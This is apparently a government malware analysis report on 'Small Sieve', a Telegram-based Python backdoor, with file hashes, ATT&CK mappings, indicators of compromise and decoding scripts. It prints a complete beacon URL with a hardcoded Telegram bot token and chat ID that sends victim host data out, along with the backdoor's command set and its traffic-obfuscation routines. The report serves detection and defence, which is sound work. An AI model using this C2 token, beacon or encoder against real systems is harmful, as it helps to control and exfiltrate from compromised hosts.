



National Cyber
Security Centre
a part of GCHQ

Small Sieve

Malware Analysis Report

Version 1.0

27 January 2022
© Crown Copyright 2022

Small Sieve

Telegram Bot API based Python backdoor with file download and execution capability

Executive summary

- Use of the Telegram Bot API reduces visibility to network defenders
- Custom string and traffic obfuscation routines are also employed to evade detection
- Functionality is limited to downloading files and command line execution

Introduction

Small Sieve is a simple – possibly disposable – Python backdoor which is distributed using an NSIS installer that performs persistence. It provides basic functionality required to maintain and expand a foothold in victim infrastructure using custom string and traffic obfuscation schemes together with the Telegram Bot API to avoid detection.

Malware details

Metadata

| | |
|--------------|---|
| Filename | gram_app.exe |
| Description | NSIS installer which installs and runs the index.exe backdoor and adds a persistence registry key |
| Size | 16999598 bytes |
| MD5 | 15fa3b32539d7453a9a85958b77d4c95 |
| SHA-1 | 11d594f3b3cf8525682f6214acb7b7782056d282 |
| SHA-256 | b75208393fa17c0bcbcb1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 |
| Compile time | 2021-09-25 21:57:46 UTC |

| | |
|--------------|--|
| Filename | index.exe |
| Description | The final PyInstaller-bundled Python 3.9 backdoor |
| Size | 17263089 bytes |
| MD5 | 5763530f25ed0ec08fb26a30c04009f1 |
| SHA-1 | 2a6ddf89a8366a262b56a251b00aafaed5321992 |
| SHA-256 | bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 |
| Compile time | 2021-08-01 04:39:46 UTC |

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

| Tactic | ID | Technique | Procedure |
|---------------------|------------------|---|--|
| Execution | <u>T1059.006</u> | Command and Scripting Interpreter: Python | Small Sieve is a PyInstaller-packed Python script. |
| Persistence | <u>T1547.001</u> | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Small Sieve is started by a registry run key. |
| Defense Evasion | <u>T1027</u> | Obfuscated Files or Information | Small Sieve uses a custom hex byte swapping encoding scheme combined with an obfuscated base64 function to protect program strings and updated Telegram credentials. |
| Defense Evasion | <u>T1036.005</u> | Masquerading: Match Legitimate Name or Location | Small Sieve uses variations of Microsoft (Microsift) and Outlook in its filenames to attempt to avoid detection during casual inspection. |
| Command And Control | <u>T1071.001</u> | Application Layer Protocol: Web Protocols | Small Sieve beacons and tasking are performed using the Telegram API over HTTPS. |
| Command And Control | <u>T1132.002</u> | Data Encoding: Non-Standard Encoding | Small Sieve employs a custom hex byte swapping encoding scheme to obfuscate tasking traffic. |
| Defense Evasion | <u>T1480</u> | Execution Guardrails | The Small Sieve payload will only execute correctly if the word 'Platypus' is passed to it on the command line. |

Functionality

Installation

Small Sieve is distributed as a large (16MB) Nullsoft Scriptable Install System (NSIS) installer named `gram_app.exe` which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary `index.exe` is installed in the user's `AppData/Roaming` directory and is added as a Run key in the registry to enabled persistence after reboot.

The installer then executes the backdoor with the 'Platypus' argument, which is also present in the registry persistence key:

`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosoft.`

Configuration

The backdoor attempts to restore previously initialised session data from `%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt`.

If this file does not exist then it uses the following hardcoded values:

| Field | Value | Description |
|----------------|--|---|
| Chat ID | 2090761833 | The Telegram Channel ID that beacons are sent to, and from which tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. |
| Bot ID | Random value between 10,000,000 and 90,000,000 | A bot identifier generated at startup which is sent to the C2 in the initial beacon. Commands must be prefixed with <code>/com[Bot ID]</code> in order to be processed by the malware, |
| Telegram Token | 2003026094: AAGoitvpcx3SFZ2_6Yzls4La_kyDF1PbXrY | The initial token used to authenticate each message to the Telegram Bot API |

Table 1: Credentials and session values

Tasking

Small Sieve beacons using the Telegram Bot API, sending the configured Bot ID, the currently logged in user and the host's IP address, as described in the '[Communications \(Beacon format\)](#)' section of this report. It then waits for tasking as a Telegram bot using the **python-telegram-bot** module.

Two task formats are supported:

- **/start** - no argument is passed, this causes the beacon information to be repeated.
- **/com[BotID] [command]** – for issuing commands passed in the argument.

The following commands are supported by the second of these formats:

| Command | Description |
|-------------------------------------|--|
| delete | Causes the backdoor to exit. Does not remove persistence. |
| download <i>url</i> <i>filename</i> | The url will be fetched and saved to the provided filename using the Python urllib module <code>urlretrieve</code> function. |
| change token <i>newtoken</i> | The backdoor will reconnect to the Telegram Bot API using the provided token newtoken . This updated token will be stored in the encoded <code>MicrosoftWindowsOutlookDataPlus.txt</code> file. |
| disconnect | The original connection to Telegram is terminated. Likely used after a ' change token ' command is issued. |

Table 2: Supported commands

Any commands other than those detailed in Table 2 are executed directly by passing them to ``cmd.exe /c``, and the output is returned as a reply.

Defence evasion

Anti-sandbox

Small Sieve makes use of an execution guardrail by using a command line argument in the name of some of its classes and methods.

```
def bYQKqMEkIrYTVzs8cupMpFSwzcWjs4cB__Platypus__():
    startCommand = commandClass.CallMember(
        'smoo20k4eVAq0XWu0zfQM5X5PP8z6Si7__' + argv[1] + '__', ..

if __name__ == "__main__":
    locals()[bYQKqMEkIrYTVzs8cupMpFSwzcWjs4cB__' + argv[1] + '__']()
```

Figure 1: Execution guardrail

This may be intended to make it slightly more resistant to analysis than if it were to simply check that the word 'Platypus' is passed on the command line

String obfuscation

Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64-encoded. A decryption script is included in '[Appendix A](#)'.

Communications

Beacon format

Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library:

| | | | |
|--|---------------------------|---|----------------------|
| https://api.telegram.org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?chat_id=2090761833&parse_mode=Markdown&text=/com39062050%20 %208313e22333e27313e2031302c70213e49414d4f444e49475f2e696d64616 | | | |
| Telegram Bot API URI | Telegram Bot API token | Command prefix including randomly generated Bot ID | Encoded host data |

The hex host data is encoded using the byte shuffling algorithm as described in the '[Communications \(Traffic obfuscation\)](#)' section of this report. The example shown above decodes to:

admin/WINDOMAIN1 | 10.17.32.18

Traffic obfuscation

Although traffic to the Telegram Bot API is protected by TLS, Small Sieve obfuscates its tasking and response using a hex byte shuffling algorithm. A Python3 implementation is shown in Figure 2.

```
def Swap3(inputstr):
    inputCopy = list(inputstr)
    swapIndex = 0
    for index in range (len(inputstr)-1, 0, -2):
        if swapIndex < index:
            swapTmp = inputCopy[swapIndex]
            inputCopy[swapIndex] = inputCopy[index]
            inputCopy[index] = swapTmp
        swapIndex += 3
    return ''.join(inputCopy)

def ReverseString(inputstr): return inputstr[::-1]

def Decode(inputstr):
    return bytes.fromhex(Swap3(ReverseString(Swap3(inputstr)))) .decode('utf-8')

def Encode(inputstr):
    return Swap3(ReverseString(Swap3(bytes.hex(inputstr.encode('utf-8')))))
```

Figure 2: A traffic encoding scheme based on hex conversion and shuffling

Detection

Indicators of compromise

| Type | Description | Values |
|---------------------|---|---|
| Path | Telegram Session Persistence File (Obfuscated) | %LocalAppData%\Microsoft\Windows\OutlookDataPlus.txt |
| Path | Installation path of the Small Sieve binary | %AppData%\OutlookMicrosift\index.exe |
| Registry value name | Persistence Registry Key pointing to index.exe with a 'Platypus' argument | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift |

Appendix A: String recovery script

```
'''
This script demonstrates recovery of obfuscated strings found in the
index.pyc file extracted from the index.exe binary
(2A6DDF89A8366A262B56A251B00AAFAED5321992) of Small Sieve
This will also recover bot credentials cached in
"%LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt"
'''

import base64

extractedStrings = [ 'QA==', 'FQIpFlEnAD8QGQ==', 'QA1s', 'BB47ClknDDpZ',
'EhM=', 'Tw==', '_', 'Py4hBVwmMgE=', 'FQUqSQ0=', 'FR8nC1o/A34aGEI=', 'AxwoSlA
wCH5WFA8=', 'KD87L2MuX248HB1HPmcgIGMQTU40OCATWzRHZlsmDRwRK30yPys/FSYXaw==', 'Q
HthSRhlQHNUWgJeagBcRQttU1RRUW4=', 'RT0jB1QkLC4JM04HJggtJU8jDBYPNAI+OipYS18iNT
k7AEExMTQCBCCFZEJFPQRPzo=', 'FQIpFlspADs=', 'ExwjCwd4BmocIW4Cd3UmHRY6GCgxbjx
/PRMOVAYGL0ERK30yPys/FSYXaw==', 'TxIjCQ==', 'EwUtFkE=', 'ORQ/RHEHhj0WGUeWJFk=
', 'UkF1VAJ+XGZKRA==', 'AxktClItTQ==', 'BBQgAUeT', 'FxM=', 'Ax4h', 'HA==',
'Dh4AL2AGIDBP0kwrPxQE0VwuLy8ZalQuFXBVWQE7Fz0RK30yPys/FSYXaw==', 'RgEtFkYtMjM
WE0p0CkwDA0IvCRdaLwEyGX4=', 'ORQ/RGEhBjsX', 'FB4nAVs=', 'NSN5IG8bDhpAD2gVDR5
CMn830igVNV15AnBPa2oRMxARK30yPys/FSYXaw==', 'Dxpv', 'CAU4FEZyQnEYB0ZdM0gdDU
EyHxRSNBYtQiFZWg==', 'BxsGKG8CABscQh8JKmILW2EOMBAGGVU1HBtDYWQ6HDIRK30yPys/FS
YXaw==', 'BEg2AQABXBoDEkgrAFkyCUGKDTcYHy8b0idGHnM1BBUGK3IOMj4yHCMRR3E=', 'BBg/
B1omAzsaAw==', 'Lzo=', 'TwIpClEFCC0KFkgWeE4ZCVIffx1B', 'DQUpM1ccPxQVR1UEH2Ij
XHYrHQMZIGkOGzV5RHnJEEURK30yPys/FSYXaw==', 'UkF8VwV6W25AQxUyBmoeAVI2DhoEaDcMN
3FpGGkvDwV60EwBNSYCI2I0VnZCFw==', 'PAUpCUUXAisNG0AcLHIffWgg0Bg0=',
'ExgrClQkTTEXG1ZTMEIDA1VgFxdcNgUjA2NCRkIwJxJuG0t+KjcjRT4FXUAQJ0RXIjwfAg0DNF8
=', 'JSMexhU=', 'MT0YUX0FXjEMR3o0fmIZMUU0FRQ1CBYmOjBbTQQ/MQERK30yPys/FSYXaw==
' ]

def DecodeString(encodeArg):
    customAlphabet = '`qLd5Hm^yw/sG-qh&@~y|[dJmC6.0UFvNt-
^^_FeSd4.0N*#GNophwQ-MCJ1?>L73PY'
    result = ''.join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(encodeArg, cu
stomAlphabet)])
    return result

def Base64DecodeString(arg):
    return DecodeString(base64.b64decode(arg).decode())

if __name__ == "__main__":
    for x in extractedStrings:
        print(f'"{x}" => "{Base64DecodeString(x)}"')
```

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

All material is UK Crown Copyright ©